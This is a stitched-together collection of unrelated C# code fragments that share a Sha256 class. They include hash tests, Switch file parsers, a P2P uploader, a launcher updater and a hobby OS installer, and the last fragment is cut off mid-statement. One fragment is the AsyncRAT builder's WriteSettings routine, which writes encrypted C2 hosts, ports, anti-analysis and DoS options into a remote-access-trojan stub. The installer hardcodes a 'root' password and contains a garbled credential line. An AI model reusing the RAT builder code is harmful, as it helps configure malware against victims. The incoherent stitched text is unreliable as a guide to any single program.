static void Main(string[] args) { string block239711 = "020000000affed3fc96851d8c74391c2d9333168fe62165eb228bced7e000000000000004277b65e3bd527f0ceb5298bdb06b4aacbae8a4a808c2c8aa414c20f252db801130dae516461011a3aeb9bb8"; string successNonce = "3aeb9bb8"; byte[] work = Conversions.HexadecimalToByte(block239711); Sha256 sha256 = new Sha256(); sha256.Initialize(work); Console.WriteLine(Conversions.ByteToHexadecimal(sha256.CalculateHash(Conversions.HexadecimalToByte(successNonce)))); Console.ReadKey(); }
public void CalculateHashTest() { //BLOCK 239711 //https://blockchain.info/block/00000000000001272c7eb572d183c9b8da350b1835b78d3f56cc07c082d78a5c - Big Endian //HEX is Little Endian const string version = "02000000"; //v2 const string hashPrevBlock = "0affed3fc96851d8c74391c2d9333168fe62165eb228bced7e00000000000000"; const string merkleRoot = "4277b65e3bd527f0ceb5298bdb06b4aacbae8a4a808c2c8aa414c20f252db801"; const string time = "130dae51"; const string difficulty = "6461011a"; const string successNonce = "3aeb9bb8"; //3097226042 const string successHash = "5c8ad782c007cc563f8db735180b35dab8c983d172b57e2c2701000000000000"; byte[] work = Conversions.HexadecimalToByte(version + hashPrevBlock + merkleRoot + time + difficulty + successNonce); Sha256 sha256 = new Sha256(); sha256.Initialize(work); string hash = Conversions.ByteToHexadecimal(sha256.CalculateHash(Conversions.HexadecimalToByte(successNonce))); Assert.AreEqual(successHash.ToLower(), hash.ToLower()); }
private void WriteSettings(ModuleDefMD asmDef) { try { var key = Methods.GetRandomString(32); var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); byte[] signature; using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) { var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); } foreach (TypeDef type in asmDef.Types) { if (type.Name == "Settings") { foreach (MethodDef method in type.Methods) { if (method.Body == null) { continue; } for (int i = 0; i < method.Body.Instructions.Count(); i++) { if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) { if (method.Body.Instructions[i].Operand.ToString() == "%Ports%") { if (chkPastebin.Enabled && chkPastebin.Checked) { method.Body.Instructions[i].Operand = aes.Encrypt("null"); } else { List <string> LString = new List <string>(); foreach (string port in listBoxPort.Items) { LString.Add(port); } method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); } } if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%") { if (chkPastebin.Enabled && chkPastebin.Checked) { method.Body.Instructions[i].Operand = aes.Encrypt("null"); } else { List <string> LString = new List <string>(); foreach (string ip in listBoxIP.Items) { LString.Add(ip); } method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString)); } } if (method.Body.Instructions[i].Operand.ToString() == "%Install%") { method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower()); } if (method.Body.Instructions[i].Operand.ToString() == "%Folder%") { method.Body.Instructions[i].Operand = comboBoxFolder.Text; } if (method.Body.Instructions[i].Operand.ToString() == "%File%") { method.Body.Instructions[i].Operand = textFilename.Text; } if (method.Body.Instructions[i].Operand.ToString() == "%Version%") { method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", "")); } if (method.Body.Instructions[i].Operand.ToString() == "%Key%") { method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key)); } if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") { method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text); } if (method.Body.Instructions[i].Operand.ToString() == "%Anti%") { method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower()); } if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%") { method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); } if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%") { method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); } if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%") { method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower()); } if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%") { if (chkPastebin.Checked) { method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text); } else { method.Body.Instructions[i].Operand = aes.Encrypt("null"); } } } } } } } } catch (Exception ex) { throw new ArgumentException("WriteSettings: " + ex.Message); } }
public void ComputeHash_NistShortTest(byte[] message, byte[] expected) { using Sha256 sha = new Sha256(false); byte[] actual = sha.ComputeHash(message); Assert.Equal(expected, actual); }
public static Validity ValidateSectionMasterHash(this Nca nca, int index) { if (!nca.SectionExists(index)) { throw new ArgumentException(nameof(index), Messages.NcaSectionMissing); } if (!nca.CanOpenSection(index)) { return(Validity.MissingKey); } NcaFsHeader header = nca.GetFsHeader(index); // The base data is needed to validate the hash, so use a trick involving the AES-CTR extended // encryption table to check if the decryption is invalid. // todo: If the patch replaces the data checked by the master hash, use that directly if (header.IsPatchSection()) { if (header.EncryptionType != NcaEncryptionType.AesCtrEx) { return(Validity.Unchecked); } Validity ctrExValidity = ValidateCtrExDecryption(nca, index); return(ctrExValidity == Validity.Invalid ? Validity.Invalid : Validity.Unchecked); } byte[] expectedHash; long offset; long size; switch (header.HashType) { case NcaHashType.Ivfc: NcaFsIntegrityInfoIvfc ivfcInfo = header.GetIntegrityInfoIvfc(); expectedHash = ivfcInfo.MasterHash.ToArray(); offset = ivfcInfo.GetLevelOffset(0); size = 1 << ivfcInfo.GetLevelBlockSize(0); break; case NcaHashType.Sha256: NcaFsIntegrityInfoSha256 sha256Info = header.GetIntegrityInfoSha256(); expectedHash = sha256Info.MasterHash.ToArray(); offset = sha256Info.GetLevelOffset(0); size = sha256Info.GetLevelSize(0); break; default: return(Validity.Unchecked); } IStorage storage = nca.OpenRawStorage(index); var data = new byte[size]; storage.Read(offset, data).ThrowIfFailure(); var actualHash = new byte[Sha256.DigestSize]; Sha256.GenerateSha256Hash(data, actualHash); if (Utilities.ArraysEqual(expectedHash, actualHash)) { return(Validity.Valid); } return(Validity.Invalid); }
private byte[] getBlockHash(Block block) { return(Sha256.Hash(block.BlockHeader.RawData.ToByteArray())); }
public void ComputeChecksumTest(byte[] data, byte[] expected) { using Sha256 sha = new Sha256(); byte[] actual = sha.ComputeChecksum(data); Assert.Equal(expected, actual); }
public static byte[] CreateSwapSecretHash160(byte[] secretBytes) { return(Ripemd160.Compute(Sha256.Compute(secretBytes))); }
private void UploadThread() { for (; ;) { Thread.Sleep(1000 * 1); if (this.State == ManagerState.Stop) { return; } { UploadItem item = null; lock (this.ThisLock) { if (_settings.UploadItems.Count > 0) { item = _settings.UploadItems[0]; } } try { if (item != null) { ArraySegment <byte> buffer = new ArraySegment <byte>(); try { if (item.Type == "Profile") { buffer = ContentConverter.ToProfileBlock(item.Profile); } else if (item.Type == "SignatureMessage") { buffer = ContentConverter.ToSignatureMessageBlock(item.SignatureMessage, item.ExchangePublicKey); } else if (item.Type == "WikiDocument") { buffer = ContentConverter.ToWikiDocumentBlock(item.WikiDocument); } else if (item.Type == "ChatTopic") { buffer = ContentConverter.ToChatTopicBlock(item.ChatTopic); } else if (item.Type == "ChatMessage") { buffer = ContentConverter.ToChatMessageBlock(item.ChatMessage); } Key key = null; { if (_hashAlgorithm == HashAlgorithm.Sha256) { key = new Key(Sha256.ComputeHash(buffer), _hashAlgorithm); } this.Lock(key); } _cacheManager[key] = buffer; _connectionsManager.Upload(key); var miner = new Miner(CashAlgorithm.Version1, item.MiningLimit, item.MiningTime); var task = Task.Factory.StartNew(() => { if (item.Type == "Profile") { var metadata = new ProfileMetadata(item.Profile.CreationTime, key, item.DigitalSignature); _connectionsManager.Upload(metadata); } else if (item.Type == "SignatureMessage") { var metadata = new SignatureMessageMetadata(item.SignatureMessage.Signature, item.SignatureMessage.CreationTime, key, miner, item.DigitalSignature); _connectionsManager.Upload(metadata); } else if (item.Type == "WikiDocument") { var metadata = new WikiDocumentMetadata(item.WikiDocument.Tag, item.WikiDocument.CreationTime, key, miner, item.DigitalSignature); _connectionsManager.Upload(metadata); } else if (item.Type == "ChatTopic") { var metadata = new ChatTopicMetadata(item.ChatTopic.Tag, item.ChatTopic.CreationTime, key, miner, item.DigitalSignature); _connectionsManager.Upload(metadata); } else if (item.Type == "ChatMessage") { var metadata = new ChatMessageMetadata(item.ChatMessage.Tag, item.ChatMessage.CreationTime, key, miner, item.DigitalSignature); _connectionsManager.Upload(metadata); } }); while (!task.IsCompleted) { if (this.State == ManagerState.Stop) { miner.Cancel(); } lock (this.ThisLock) { if (!_settings.UploadItems.Contains(item)) { miner.Cancel(); } } Thread.Sleep(1000); } if (task.Exception != null) { throw task.Exception; } lock (this.ThisLock) { _settings.UploadItems.Remove(item); } } finally { if (buffer.Array != null) { _bufferManager.ReturnBuffer(buffer.Array); } } } } catch (Exception) { } } } }
public void EncriptarTest() { var actual = Sha256.Instancia().Encriptar("Leonardo", "ABC"); Assert.AreEqual("z6V4zG47tKAc4Sdxk0+WXfQmHSd6HlOL0DJFBWbwsC8=", actual); }
private async void HandleClient(Socket clientSocket) { try { clientSocket.NoDelay = true; using var stream = new NetworkStream(clientSocket, ownsSocket: true) { ReadTimeout = 3000, WriteTimeout = 3000, }; var messageBuffer = new byte[64]; random.Value !.NextBytes(messageBuffer.AsSpan(0, 32)); await stream.WriteAsync(messageBuffer.AsMemory(0, 32), cancellationTokenSource.Token); // 32字节另一半消息 // 64字节公钥 // 64字节签名 var buffer = new byte[160]; await stream.FillAsync(buffer, cancellationTokenSource.Token); buffer.AsSpan(0, 32).CopyTo(messageBuffer.AsSpan(32)); byte[] messageHash = Sha256.ComputeHashToArray(messageBuffer); var(pubkey, sign) = ReadPublicKeySignature(buffer.AsSpan(32)); var superAddress = pubkey.ToAddress(); if (!system.IsProducer(superAddress)) { return; } if (!Secp256k1.Secp256k1.Verify(pubkey, messageHash, sign)) { return; } // 认证通过,开始处理请求 stream.ReadTimeout = -1; var clientNode = new SuperNode(pubkey, (IPEndPoint)clientSocket.RemoteEndPoint, isReadOnly: true) { ClientSocket = clientSocket }; ClientConnected?.Invoke(this, new SuperNodeEventArgs(clientNode, Array.Empty <byte>())); try { var arrayPool = ArrayPool <byte> .Create(65536, 1); while (cancellationTokenSource.IsCancellationRequested is false && clientSocket.Connected) { var packetLength = await stream.ReadStructAsync <int>(cancellationTokenSource.Token); if (BitConverter.IsLittleEndian is false) { packetLength = BinaryPrimitives.ReverseEndianness(packetLength); } if (packetLength is 0 || packetLength > 10485760) { return; } byte[] packetBuffer = arrayPool.Rent(packetLength); await stream.FillAsync(packetBuffer.AsMemory(0, packetLength), cancellationTokenSource.Token); // TODO: 处理请求 DataArrived?.Invoke(this, new SuperNodeEventArgs(clientNode, packetBuffer.AsMemory(0, packetLength))); arrayPool.Return(packetBuffer); } } catch { } Closed?.Invoke(this, new SuperNodeEventArgs(clientNode, Array.Empty <byte>())); } catch { }
public XciHeader(Keyset keyset, Stream stream) { using (var reader = new BinaryReader(stream, Encoding.Default, true)) { Signature = reader.ReadBytes(SignatureSize); Magic = reader.ReadAscii(4); if (Magic != HeaderMagic) { throw new InvalidDataException("Invalid XCI file: Header magic invalid."); } reader.BaseStream.Position = SignatureSize; byte[] sigData = reader.ReadBytes(SignatureSize); reader.BaseStream.Position = SignatureSize + 4; SignatureValidity = CryptoOld.Rsa2048Pkcs1Verify(sigData, Signature, _xciHeaderPubk); RomAreaStartPage = reader.ReadInt32(); BackupAreaStartPage = reader.ReadInt32(); byte keyIndex = reader.ReadByte(); KekIndex = (byte)(keyIndex >> 4); TitleKeyDecIndex = (byte)(keyIndex & 7); GameCardSize = (GameCardSizeInternal)reader.ReadByte(); CardHeaderVersion = reader.ReadByte(); Flags = (GameCardAttribute)reader.ReadByte(); PackageId = reader.ReadUInt64(); ValidDataEndPage = reader.ReadInt64(); AesCbcIv = reader.ReadBytes(CryptoOld.Aes128Size); Array.Reverse(AesCbcIv); RootPartitionOffset = reader.ReadInt64(); RootPartitionHeaderSize = reader.ReadInt64(); RootPartitionHeaderHash = reader.ReadBytes(Sha256.DigestSize); InitialDataHash = reader.ReadBytes(Sha256.DigestSize); SelSec = reader.ReadInt32(); SelT1Key = reader.ReadInt32(); SelKey = reader.ReadInt32(); LimAreaPage = reader.ReadInt32(); if (keyset != null && !keyset.XciHeaderKey.IsEmpty()) { byte[] encHeader = reader.ReadBytes(EncryptedHeaderSize); var decHeader = new byte[EncryptedHeaderSize]; CryptoOld.DecryptCbc(keyset.XciHeaderKey, AesCbcIv, encHeader, decHeader, EncryptedHeaderSize); using (var decreader = new BinaryReader(new MemoryStream(decHeader))) { FwVersion = decreader.ReadUInt64(); AccCtrl1 = (CardClockRate)decreader.ReadInt32(); Wait1TimeRead = decreader.ReadInt32(); Wait2TimeRead = decreader.ReadInt32(); Wait1TimeWrite = decreader.ReadInt32(); Wait2TimeWrite = decreader.ReadInt32(); FwMode = decreader.ReadInt32(); UppVersion = decreader.ReadInt32(); decreader.BaseStream.Position += 4; UppHash = decreader.ReadBytes(8); UppId = decreader.ReadUInt64(); } } ImageHash = new byte[Sha256.DigestSize]; Sha256.GenerateSha256Hash(sigData, ImageHash); reader.BaseStream.Position = RootPartitionOffset; byte[] headerBytes = reader.ReadBytes((int)RootPartitionHeaderSize); Span <byte> actualHeaderHash = stackalloc byte[Sha256.DigestSize]; Sha256.GenerateSha256Hash(headerBytes, actualHeaderHash); PartitionFsHeaderValidity = Utilities.SpansEqual(RootPartitionHeaderHash, actualHeaderHash) ? Validity.Valid : Validity.Invalid; } }
public async void StartUp(bool localDev, int launcherVersion, string exePath, string resourcePath, string dataPath, string[] args) { LocalDev = localDev; LauncherVersion = launcherVersion; ExePath = exePath; ResourcePath = resourcePath; DataPath = dataPath; Args = args; if (LauncherVersion != CompatibleLauncherVersion) { MessageBox.Show("Please download the latest BardMusicPlayer.exe from https://bardmusicplayer.com", "Bard Music Player Update Available", MessageBoxButton.OK, MessageBoxImage.Information); Environment.Exit(0); } #if PUBLISH // Read Version or default values if failure. try { if (File.Exists(ResourcePath + @"version.json")) { LocalVersion = File.ReadAllText(ResourcePath + @"version.json", Encoding.UTF8) .DeserializeFromJson <BmpVersion>(); } } catch (Exception) { LocalVersion = new BmpVersion { items = new List <BmpVersionItem>() }; } var currentVersionBad = false; if (LocalVersion.build != 0) { Parallel.ForEach(LocalVersion.items, item => { if (!File.Exists(ResourcePath + item.destination) || File.Exists(ResourcePath + item.destination) && !item.sha256.ToLower() .Equals(Sha256.GetChecksum(ResourcePath + item.destination).ToLower())) { currentVersionBad = true; } }); if (currentVersionBad) { LocalVersion = new BmpVersion { items = new List <BmpVersionItem>() } } ; } // Fetch UpdateInfo and Versions or default values if failure. var remoteVersionBad = false; RemoteVersions = new Dictionary <string, BmpVersion>(); try { var remoteVersionsListString = await new Downloader().GetStringFromUrl(BaseUrl + @"versionlist.json"); var remoteVersionsList = remoteVersionsListString.DeserializeFromJson <List <string> >(); foreach (var remoteVersion in remoteVersionsList) { try { var remoteVersionString = await new Downloader().GetStringFromUrl(BaseUrl + remoteVersion + "/version.json"); RemoteVersions.Add(remoteVersion, remoteVersionString.DeserializeFromJson <BmpVersion>()); } catch (Exception) { // Failed to grab a specific remote version.json. ignore. remoteVersionBad = true; } } } catch (Exception) { // Failed to grab the list of remote versions available. ignore. remoteVersionBad = true; } // sort the list of remote versions first by 'if !beta', then 'latest build', then convert back to dictionary RemoteVersions = RemoteVersions.OrderBy(version => version.Value.beta) .ThenByDescending(version => version.Value.build) .ToDictionary <KeyValuePair <string, Util.BmpVersion>, string, Util.BmpVersion>(pair => pair.Key, pair => pair.Value); // 1. remote version was not able to be read, try and load local // 2. remote version was able to be read but it's same as local, try and load local if ((remoteVersionBad && !currentVersionBad) || (RemoteVersions.First().Value.build == LocalVersion.build)) { await Loader.Load(LocalVersion, ExePath, ResourcePath, DataPath, Args); return; } // 1. we don't have a current version // 2. remote version shows an update if (currentVersionBad || (RemoteVersions.First().Value.build > LocalVersion.build)) { MainWindow mainWindow = new MainWindow(); mainWindow.ProvideVersions(LocalVersion, RemoteVersions); mainWindow.OnDownloadRequested += new EventHandler <BmpDownloadEvent>((object sender, BmpDownloadEvent e) => { var key = e.Key; var version = e.Version; var item = e.Item; string sourceUrl = $"{BaseUrl}{key}/{item.source}"; string destFPath = ResourcePath + item.destination; Downloader downloader = new Downloader(); try { Debug.WriteLine($"Attempting to download {sourceUrl} and save to {destFPath}."); var dlTask = downloader.GetFileFromUrl(sourceUrl); dlTask.Wait(); byte[] file = dlTask.Result; if (Sha256.GetChecksum(file).Equals(item.sha256)) { Directory.CreateDirectory(ResourcePath); File.WriteAllBytes(destFPath, file); } } catch (Exception) { // unable to download file, show message to the user and throw throw new Exception("Unable to download file: " + sourceUrl); } }); var launchHandler = new EventHandler <BmpVersion>(async(object sender, BmpVersion version) => { await Loader.Load(version, ExePath, ResourcePath, DataPath, Args); }); mainWindow.OnDownloadComplete += launchHandler; mainWindow.OnLaunchRequested += launchHandler; mainWindow.ShowDialog(); } #elif LOCAL var version = new BmpVersion { beta = true, build = 0, commit = "DEBUG", entryClass = "BardMusicPlayer.Ui.Bootstrapper", entryDll = "BardMusicPlayer.Ui.dll", items = new List <BmpVersionItem>() }; var items = Directory.GetFiles(ResourcePath, "*.dll").Where(name => !name.Contains("libzt.dll")); foreach (var item in items) { version.items.Add(new BmpVersionItem { destination = Path.GetFileName(item), sha256 = Sha256.GetChecksum(item), load = true }); } await Loader.Load(version, ExePath, ResourcePath, DataPath, Args); #endif } }
/// <summary> /// Installation with progressbar. /// </summary> public void Installation() { Menu.DispInstallationDialog(0); Menu.DispInstallationDialog(5); InitDirs(); //create needed directories if they doesn't exist Menu.DispInstallationDialog(10); File.Create(@"0:\System\settings.conf"); File.Create(@"0:\System\passwd"); Menu.DispInstallationDialog(15); System.Users.Users.LoadUsers(); Menu.DispInstallationDialog(20); System.Users.Users.PutUser("user:"******":admin"); Menu.DispInstallationDialog(30); System.Users.Users.PutUser("user:root", Sha256.hash("root") + ":admin"); Menu.DispInstallationDialog(40); string[] Users = { "root", FinalUsername }; CreateUserDirectories(Users); Utils.Settings config = new Utils.Settings(@"0:\System\settings.conf"); Menu.DispInstallationDialog(50); if ((FinalLang.Equals("en_US")) || FinalLang.Equals("en-US")) { config.PutValue("language", "en_US"); Menu.DispInstallationDialog(60); } else if ((FinalLang.Equals("fr_FR")) || FinalLang.Equals("fr-FR")) { config.PutValue("language", "fr_FR"); Menu.DispInstallationDialog(60); } else if ((FinalLang.Equals("nl_NL")) || FinalLang.Equals("nl-NL")) { config.PutValue("language", "nl_NL"); Menu.DispInstallationDialog(60); } else if ((FinalLang.Equals("it_IT")) || FinalLang.Equals("it-IT")) { config.PutValue("language", "it_IT"); Menu.DispInstallationDialog(60); } config.PutValue("hostname", FinalHostname); Menu.DispInstallationDialog(70); config.PutValue("setuptime", Time.MonthString() + "/" + Time.DayString() + "/" + Time.YearString() + ", " + Time.TimeString(true, true, true)); config.PutValue("consolemode", "null"); Menu.DispInstallationDialog(80); Kernel.SystemExists = true; config.PutValue("debugger", "off"); foreach (HAL.Drivers.Network.NetworkDevice networkDevice in HAL.Drivers.Network.NetworkDevice.Devices) { File.Create(@"0:\System\" + networkDevice.Name + ".conf"); Settings settings = new Settings(@"0:\System\" + networkDevice.Name + ".conf"); settings.Add("ipaddress", "0.0.0.0"); settings.Add("subnet", "0.0.0.0"); settings.Add("gateway", "0.0.0.0"); settings.Add("dns01", "0.0.0.0"); settings.Push(); } config.PushValues(); Menu.DispInstallationDialog(90); System.Users.Users.PushUsers(); Menu.DispInstallationDialog(100); Console.ForegroundColor = ConsoleColor.White; Console.BackgroundColor = ConsoleColor.Black; Run(); }
public void CheckBrokenTest() { string targetPath = Path.Combine(_workPath, "CheckBroken"); string configPath = Path.Combine(targetPath, "CacheManager"); string blockPath = Path.Combine(targetPath, "cache.blocks");; Directory.CreateDirectory(targetPath); Directory.CreateDirectory(configPath); var list = new List <Hash>(); { var cacheManager = new CacheManager(configPath, blockPath, _bufferManager); cacheManager.Load(); for (int i = 0; i < 256; i++) { int size = _random.Next(1, 1024 * 256); using (var safeBuffer = _bufferManager.CreateSafeBuffer(size)) { _random.NextBytes(safeBuffer.Value); var block = new ArraySegment <byte>(safeBuffer.Value, 0, size); var hash = new Hash(HashAlgorithm.Sha256, Sha256.ComputeHash(block)); cacheManager[hash] = block; list.Add(hash); } } cacheManager.Save(); cacheManager.Dispose(); } using (var stream = new FileStream(blockPath, FileMode.Open)) { int b = stream.ReadByte(); stream.Seek(0, SeekOrigin.Begin); stream.WriteByte((byte)(b ^ 0xFF)); } { var cacheManager = new CacheManager(configPath, blockPath, _bufferManager); cacheManager.Load(); Assert.True(new HashSet <Hash>(list).SetEquals(cacheManager.ToArray())); Assert.Throws <BlockNotFoundException>(() => { var result = cacheManager[list[0]]; }); foreach (var hash in list.Skip(1)) { var result = cacheManager[hash]; _bufferManager.ReturnBuffer(result.Array); } cacheManager.Save(); cacheManager.Dispose(); } }
static void Main(string[] args) { string s; FileStream fs = new FileStream(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\creation.txt", FileMode.Open, FileAccess.Read); ReadOnlyCollection <byte> hash = Sha256.HashFile(fs); long len = fs.Length; System.Console.WriteLine("length : {0}", fs.Length); fs.Close(); byte[] buff = new byte[len]; using (BinaryReader reader = new BinaryReader(new FileStream(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\creation.txt", FileMode.Open))) { reader.BaseStream.Seek(0, SeekOrigin.Begin); reader.Read(buff, 0, (int)len); } foreach (byte t in buff) { System.Console.WriteLine(t); } System.Console.Out.WriteLine("{0}", Util.ArrayToString(hash)); byte[] initialDump = File.ReadAllBytes(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\creation.txt"); foreach (byte m in initialDump) { System.Console.WriteLine(m); } System.Console.WriteLine("Initial dump ends here!!!"); // System.Console.WriteLine(BitConverter.ToString(send)); //byte buffer = new byte[] { 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20 }; var buffer = new byte[] { 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20 }; // AppendAllBytes(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\test.txt",buffer); // using(StreamWriter sw = File.AppendText(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\test.txt")) // { // sw.WriteLine("extra boyyyy!!!"); //} //getInitialPadding n = new Sha2.getInitialPadding(); int[] l = new int[2]; l[0] = (int)len / 100; l[1] = (int)len % 100; buffer[63] = (byte)l[1]; buffer[62] = (byte)l[0]; byte[] x = new byte[512]; x = getInitialPadding.padding; Array.Resize(ref x, getInitialPadding.padding.Length); byte[] final = new byte[1024]; x.CopyTo(final, 0); buffer.CopyTo(final, x.Length); int i = x.Length + buffer.Length; Array.Resize(ref final, x.Length + buffer.Length); System.Console.WriteLine(BitConverter.ToString(x)); System.Console.WriteLine(BitConverter.ToString(final)); byte[] y = new byte[] { 0x1 }; AppendAllBytes(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\creation.txt", y); AppendAllBytes(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\creation.txt", final); System.Console.WriteLine("Appending done"); byte[] dump = File.ReadAllBytes(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\creation.txt"); foreach (byte c in dump) { System.Console.WriteLine(c); } //System.Console.WriteLine(BitConverter.ToString(x)); //FileStream fs2 = new FileStream(@"C:\Users\aayum\Source\Repos\SHA2-Csharp\test.txt", FileMode.Open, FileAccess.Read); //ReadOnlyCollection<byte> hash2 = Sha256.HashFile(fs); //fs.Close(); //System.Console.Out.WriteLine("{0}", Util.ArrayToString(hash2)); //byte[] x2 = new byte[512]; //x2 = getInitialPadding.padding; //Array.Resize(ref x, getInitialPadding.padding.Length); //System.Console.WriteLine(BitConverter.ToString(x2)); System.Console.Read(); }
public byte[] Current() { return(Sha256.ComputeBytes(_bytes)); }
public void Setup() { var keyBytes = Key.ComputeKeyBytes(fakeKey); sha = Sha256.Create(keyBytes); }
public static byte[] CreateSwapSecretHash(byte[] secretBytes) { return(Sha256.Compute(secretBytes, 2)); }
static bool TryWritePrimitives(Span <byte> output, Sha256 hash, string keyType, string verb, string resourceId, string resourceType, string tokenVersion, DateTime utc, out int bytesWritten) { int totalWritten = 0; bytesWritten = 0; Span <byte> buffer = stackalloc byte[AuthenticationHeaderBufferSize]; s_type.CopyTo(buffer); totalWritten += s_type.Length; if (Encodings.Utf16.ToUtf8(MemoryMarshal.AsBytes(keyType.AsSpan()), buffer.Slice(totalWritten), out int consumed, out int written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } totalWritten += written; s_ver.CopyTo(buffer.Slice(totalWritten)); totalWritten += s_ver.Length; if (Encodings.Utf16.ToUtf8(MemoryMarshal.AsBytes(tokenVersion.AsSpan()), buffer.Slice(totalWritten), out consumed, out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } totalWritten += written; s_sig.CopyTo(buffer.Slice(totalWritten)); totalWritten += s_sig.Length; var front = buffer.Slice(0, totalWritten); var payload = buffer.Slice(totalWritten); totalWritten = 0; if (verb.Equals("GET", StringComparison.Ordinal) || verb.Equals("get", StringComparison.Ordinal)) { s_get.CopyTo(payload); totalWritten += s_get.Length; } else if (verb.Equals("POST", StringComparison.Ordinal) || verb.Equals("post", StringComparison.Ordinal)) { s_post.CopyTo(payload); totalWritten += s_post.Length; } else if (verb.Equals("DELETE", StringComparison.Ordinal) || verb.Equals("delete", StringComparison.Ordinal)) { s_delete.CopyTo(payload); totalWritten += s_delete.Length; } else { if (Encodings.Utf16.ToUtf8(MemoryMarshal.AsBytes(verb.AsSpan()), payload, out consumed, out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } if (Encodings.Ascii.ToLowerInPlace(payload.Slice(0, written), out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } payload[written] = (byte)'\n'; totalWritten += written + 1; } var bufferSlice = payload.Slice(totalWritten); if (Encodings.Utf16.ToUtf8(MemoryMarshal.AsBytes(resourceType.AsSpan()), bufferSlice, out consumed, out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } if (Encodings.Ascii.ToLowerInPlace(bufferSlice.Slice(0, written), out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } bufferSlice[written] = (byte)'\n'; totalWritten += written + 1; bufferSlice = payload.Slice(totalWritten); if (Encodings.Utf16.ToUtf8(MemoryMarshal.AsBytes(resourceId.AsSpan()), bufferSlice, out consumed, out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } bufferSlice[written] = (byte)'\n'; totalWritten += written + 1; bufferSlice = payload.Slice(totalWritten); if (!Utf8Formatter.TryFormat(utc, bufferSlice, out written, 'l')) { throw new NotImplementedException("need to resize buffer"); } bufferSlice[written] = (byte)'\n'; totalWritten += written + 1; bufferSlice = payload.Slice(totalWritten); bufferSlice[0] = (byte)'\n'; totalWritten += 1; hash.Append(buffer.Slice(front.Length, totalWritten)); if (!hash.TryWrite(buffer.Slice(front.Length), out written)) { throw new NotImplementedException("need to resize buffer"); } if (Base64.EncodeToUtf8InPlace(buffer.Slice(front.Length), written, out written) != OperationStatus.Done) { throw new NotImplementedException("need to resize buffer"); } var len = front.Length + written; if (UrlEncoder.Utf8.Encode(buffer.Slice(0, len), output, out consumed, out bytesWritten) != OperationStatus.Done) { bytesWritten = 0; return(false); } return(true); }
#pragma warning disable xUnit1026 // Theory methods should use all of their parameters public void SendMessagesInBothDirections(ChannelExchange[] cases) #pragma warning restore xUnit1026 // Theory methods should use all of their parameters { var serverSentMessageHashes = new List <List <byte[]> >(); var serverReceivedMessageHashes = new List <List <byte[]> >(); var clientSentMessageHashes = new List <List <byte[]> >(); var clientReceivedMessageHashes = new List <List <byte[]> >(); async Task HandleChannelAsync(ITransportChannel c, int[] send, List <byte[]> received, List <byte[]> sent) { WriteLog($"Handling channel {c.Id}"); var receiveTask = TaskRunner.RunInBackground( async() => { while (true) { var receivedMsg = await c.TryReceiveMessageAsync().ConfigureAwait(false); if (!receivedMsg.HasValue) { break; } lock (Sha256) { received.Add(Sha256.ComputeHash(receivedMsg.Value)); } } }); foreach (var length in send) { var msg = TestsSuite.Random.GetRandomBytes(length); await c.SendMessageAsync(msg).ConfigureAwait(false); lock (Sha256) { sent.Add(Sha256.ComputeHash(msg)); } } c.Out.TryComplete(); await receiveTask.ConfigureAwait(false); WriteLog($"Channel handling completed {c.Id}. Received {received.Count} messages."); } ITransportConnection clientConnection = null; ITransportConnection serverConnection = null; var serverTask = TaskRunner.RunInBackground( async() => { await Server.StartAsync().ConfigureAwait(false); serverConnection = await Server.In.ReadAsync().ConfigureAwait(false); WriteLog("Server connection created"); var channelTasks = new List <Task>(); foreach (var channelExchange in cases) { var channel = await 